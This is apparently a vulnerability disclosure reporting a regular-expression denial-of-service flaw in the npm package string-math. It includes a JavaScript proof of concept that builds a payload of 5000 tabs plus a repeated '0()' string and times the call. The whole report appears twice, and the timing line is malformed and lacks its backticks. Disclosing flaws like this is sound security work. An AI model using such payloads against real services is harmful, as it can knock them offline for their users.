The regex on line 7. is vulnerable to Regex DoS when a large input is provided to the function with ocurring null bytes and tabs in this case. I did not check the ones above but the first one that is processed is causing delay. This is the PoC code:
var stringMath = require('string-math');
const { performance } = require("perf_hooks");
const start = performance.now();
payload = '\t'.repeat(5000) + '0()'.repeat(100)
//stringMath("-5-5") //-10
stringMath(payload)
const end = performance.now();
console.log(time taken: ${end - start}ms);
Normal time:
time taken: 1.3773619999999767ms
The regex on line 7. is vulnerable to Regex DoS when a large input is provided to the function with ocurring null bytes and tabs in this case. I did not check the ones above but the first one that is processed is causing delay. This is the PoC code:
var stringMath = require('string-math');
const { performance } = require("perf_hooks");
const start = performance.now();
payload = '\t'.repeat(5000) + '0()'.repeat(100)
//stringMath("-5-5") //-10
stringMath(payload)
const end = performance.now();
console.log(
time taken: ${end - start}ms);Normal time:
time taken: 1.3773619999999767ms